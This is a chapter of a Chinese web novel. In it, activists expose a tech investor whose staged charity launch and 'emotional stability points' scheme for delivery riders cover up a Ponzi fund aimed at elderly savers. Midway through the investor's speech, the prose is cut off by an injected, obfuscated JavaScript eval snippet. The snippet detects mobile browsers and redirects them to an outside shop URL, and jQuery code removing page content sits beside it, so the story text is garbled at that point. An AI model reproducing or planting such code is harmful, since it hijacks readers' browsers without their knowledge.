"他可能是在对冲风险,"应宽补充道,"速达外卖的骑手猝死事件暴露了他的资本版图,他投资众包科技这种有争议的公司,公众就会把他的名字和''算法杀人平台''联系在一起时。负面舆情必然对他带来影响,很可能出现提前和集中兑付,他的金融盘就会受到挤兑威胁。所以他必须紧急地、密集地、高调地展示他的''善意'',用公众形象来掩盖金融产品的风险。" 徐寄遥在白板上写下三个词: 【公众形象、金融风险、算法控制】 她退后一步,看着这三个词。 "他现在每一次公开露面,都是在为庞氏骗局续命。那五十万的‘封口费’不是给赵春梅的,是给所有老年投资者看的,''我是有良心的资本家,我连非亲非故的骑手都给了五十万,怎么可能骗你们的钱?''" "但问题是,"俞彩虹的声音低沉,"这种庞氏结构是不可持续的。当新增资金跟不上兑付需求,当越来越多老人要求赎回本金,整个链条就会断裂。一旦断裂,受害者将是像周瑞堂那样被骗光积蓄的老人。" 她说完,所有人都看向了徐寄遥。 徐寄遥握紧了手中的马克笔。 "我们必须在他崩盘之前,戳破这个泡沫。" / 两天后,杨亚波在伯牙科技总部举行了一场的战略升级发布会。 这是他为公众精心编排的舞台。巨大的LED屏幕占据了整面墙壁,专业的灯光音响营造出一种近乎宗教仪式的庄严感。 台下坐着数百家媒体记者、投资人、网红博主,还有特意从各地请来的用户代表。几位白发苍苍的老人和几位穿着时尚的年轻人,他们被安排在前排,脸上带着训练有素的感动。 杨亚波穿着一身剪裁完美的深灰色西装,没有打领带,衬衫最上面的扣子解开,既显得专业又显得亲和。 他站在舞台中央,身后是不断变换的数据可视化图表,整个人在追光灯下闪闪发光。 "各位媒体朋友,各位合作伙伴,"他开口,声音通过顶级音响系统传遍每一个角落,带着一种经过精心调试的磁性,"过去一周,关于速达外卖的争议,让我进行了深刻的反思。" 屏幕上出现刘建国生前最后的照片,那张穿着黄色制服、笑容憨厚的脸。 杨亚波的表情瞬间变得沉痛,他低下头,沉默了整整五秒钟。 恰到好处的五秒,足以让摄像机捕捉到他的"真诚",又不至于让现场气氛过于压抑。 "刘建国师傅的离世,是我们的痛,是行业的痛,也是社会的痛。它暴露了一个残酷的现实:在追求效率的同时,我们忽视了人的感受;在优化算法的时候,我们忘记了算法服务的应该是人,而不是反过来控制人。" 他抬起头,目光坚定地扫视全场:"所以,今天,我要宣布三项重大决定。" 屏幕切换,显示出"3000万"的巨大金色数字,在黑色背景上刺目地闪烁。 "第一,伯牙科技将向速达外卖追加三千万元投资,专项用于骑手保障体系升级。这包括但不限于:提高基础配送费,降低等级差异,为每一位骑手购买全额商业保险,无论他是众包还是专送。我们要让骑手有尊严地工作,有尊严地生活。" 台下响起礼貌而热烈的掌声。 杨亚波微笑着等待掌声平息,那笑容恰到好处地混合了谦逊与自信。 "第二,"他的语气变得更有力,手势也随之扩大,"我们将全面升级平台算法。不再是冷冰冰的效率至上,是有温度的智能调度。我们要引入''疲劳度保护机制'',强制骑手每工作四小时休息二十分钟;要引入''极端天气补贴'',高温、暴雨、暴雪天气,配送费三倍;还要引入''骑手关怀模式'',对四十岁以上的骑手,系统自动降低派单强度,优先分配短距离、低楼层订单。" 这些措施听起来如此美好,如此人性化,台下有记者开始点头,有人甚至喊出了"好"。 "但最重要的,是第三项。" 杨亚波的声音突然变得柔和,甚至带着一丝哲学意味的深沉。 "我们要推出一个全新的概念:''情绪稳定积分''。" 屏幕上出现了一个复杂的坐标系,横轴是"工作效率",纵轴是"情绪健康",中间有一条优美的、呈正相关分布的曲线。 "什么是情绪稳定积分?" 杨亚波走下台,在观众席中穿行,像是一个循循善诱的导师。 "现代心理学研究表明,情绪状态直接影响工作安全。一个焦虑的、愤怒的、抑郁的骑手,出事故的概率是情绪稳定骑手的五倍。过去,我们只关注骑手的配送速度,忽视了他们的心理健康。现在,我们要改变这一点。我们要用算法的力量,不仅保障骑手的身体安全,更要保障他们的心理健康。" 他回到台上,点击遥控器,屏幕上显示出详细的"积分体系"架构图。 "每一位骑手,在接单前,都可以选择进行一个简单的心理状态评估,通过我们的APP,回答五个问题,或者进行十秒的语音情绪分析。系统会给出''情绪稳定指数''。指数高的骑手,可以获得优先派单权,获得更高的单价奖励,获得''情绪稳定奖金''。指数低的骑手,系统会建议他休息,会为他推荐心理疏导资源,甚至会暂时限制他的接单数量,直到他的情绪恢复到安全水平。" "这不是控制,"杨亚波强调,张开双臂,做出一个包容的姿态,"这是关怀。我们要用算法,提供一面镜子,让骑手看到自己的情绪状态,帮助他们更好地管理自己。我们相信,理性的骑手会明白,稳定的情绪不仅是为了平台的安全,更是为了他们自己的收入和幸福。在这个焦虑的时代,我们要让算法有温度,让技术有人性。这才是真正的''科技向善''。" 台下爆发出热烈的掌声。 有记者举手提问:"杨总,这会不会侵犯骑手的隐私?让他们感觉被监控?" 杨亚波笑了,那笑容温和而包容。 "很好的问题。我想说,当算法只是为了压榨而监控,那才是侵犯。但当算法是为了保护和关怀,那就是服务。我们不是监控情绪,我们是在提供支持。大家可以想象,当骑手的情绪更加稳定,他们的服务会更加优质,客户的体验会更好,这是一个多赢的局面。" 他停顿了一下,声音变得更加富有感染力。 "在这个内卷的社会,我们每个人都是算法的囚徒。但我不认为算法本身是罪恶的。罪恶的是使用算法的方式。今天,我要向大家证明,算法也可以用来解放人,用来保护人,用来创造真正的社会价值。情绪稳定积分,只是一个开始。未来,我们要把这种''有温度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395421|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的算法''推广到更多领域,比如家庭和解、银发关怀、青少年教育、职场解压。" 发布会结束时,全场起立鼓掌。 杨亚波在舞台中央鞠躬,灯光在他身上打出完美的光环。 这场发布会的现场视频会被剪辑成无数个短视频,会在社交媒体上病毒式传播,会成为他"企业家社会责任"的最佳注脚。 / 工作室里,四个人沉默地看着直播回放。 屏幕上,杨亚波正在阐述"情绪稳定积分"的"人文关怀"理念。他的声音温和,用词精准,每一个概念都包装得如此美好,如此无可指摘。 "疯子,"吴小糖喃喃道,"这是个疯子。" "不,他是个天才,"俞彩虹的声音冰冷,手指紧紧攥着咖啡杯,"你们听懂他在做什么了吗?这不仅仅是监控骑手们的情绪,这是一个行为矫正系统,是更深层的控制。" 应宽已经调出了"情绪稳定积分"的技术白皮书,手指在屏幕上快速滑动。 "这个指标很歹毒,通过派单权、收入、奖金作为奖惩机制,训练骑手自我压抑。如果他们感到愤怒,感到不公,感到疲惫,他们不敢表现出来,因为一旦''情绪指数''下降,他们就会被系统惩罚:减少收入,降低等级,甚至失去工作资格。" "他在训练完美的牛马,"徐寄遥接过话头,"而且是自我驯化的牛马。过去,平台用罚款、封号来强制骑手服从;现在,他用''关怀''、''保护''、''奖金''来诱导骑手自我审查。骑手们会为了多接单,强迫自己保持''情绪稳定'',即使他们刚刚被客户辱骂,即使他们刚刚差点被车撞死,即使他们的父亲正在医院抢救。他们必须笑,必须平静,必须正能量,因为算法在看着,情绪不稳定就没饭吃。" 吴小糖目瞪口呆。 "这比对身体的压榨更可怕,"俞彩虹说,"这是对精神的殖民。而且,你们注意到他把''情绪稳定''和''收入''挂钩的逻辑了吗?这和他金融盘的模式一模一样,用利益诱导服从,用惩罚威胁异见。在夕阳红联盟,老人必须''独立''、''自主''、''不听子女的'',才能加入他们的理财计划;在速达外卖,骑手必须''情绪稳定''、''积极''、''感恩'',才能获得派单权。他在用算法建立一套全新的道德秩序,一套只服务于资本增殖的道德秩序。" “卧槽!”吴小糖想不到别的表达。 "更可怕的是,"徐寄遥轻声说,"公众会接受这个。因为他说的是''保护'',是''关怀'',是''科技向善''。当骑手因为''情绪不稳定''被减少派单时,没有人会抗议,因为系统会告诉他们:这是为了你的安全。" "而且他在转移焦点,"应宽指着屏幕上杨亚波的特写,"用这三千万和''情绪稳定积分'',把公众的注意力从''算法杀人''转移到''算法救人''。现在人们讨论的不是外面平台为什么让骑手累死,而是他怎么保护骑手不死。不是外面平台为什么压榨劳动力,而是他怎么关怀劳动者的心理健康。这是一场完美的危机公关,也是一场完美的道德绑架。" "那我们怎么做能把他的泡泡戳破?"吴小糖着急问。 "既然他想用公众形象来掩盖金融风险,"徐寄遥走回白板前,眼神坚定,"那我们就戳破他的金融风险。应宽,继续监控资金流向,特别是那些即将到期的兑付节点。" 俞彩虹说:"那些老人被洗脑很严重,很多人即使发现被骗了,也不愿意承认,因为承认就意味着承认自己''老糊涂了'',承认子女是对的。他们宁愿死撑着,直到血本无归。" 徐寄遥的目光变得复杂。 / 深夜十一点,徐寄遥独自坐在公寓的阳台上。 夜风吹来,带着初秋的凉意。 她在手机上编辑文字,打了字,删掉,又打,又删。最后,发出了一段长文字: "妈,夕阳红联盟的投资,请尽快撤出来。那不是正规的养老理财,他们的模式实际是庞氏骗局。他们承诺的8%收益,是用后来者的本金支付前任的利息,没有真实的投资标的,没有造血能力。杨亚波现在高调做慈善,都是为了掩盖资金池的缺口,再吸引更多人入局填补窟窿。随时会崩盘,一旦新钱跟不上,你的本金会全部损失。" 消息发出去了。 徐寄遥盯着屏幕,看着"对方正在输入"的提示反复出现又消失,过了整整十分钟,才收到回复。 是一条语音,何久红的声音通过扬声器传出来,带着她一贯的暴躁,每一个字都像刀子一样锋利: "徐寄遥,你翅膀硬了,觉得自己了不起了,可以教训妈妈了?杨总是什么人,我比你清楚。他是上过央视的企业家,是政协委员,这样的人会骗我们老年人这点钱?" 徐寄遥握着手机欲言又止。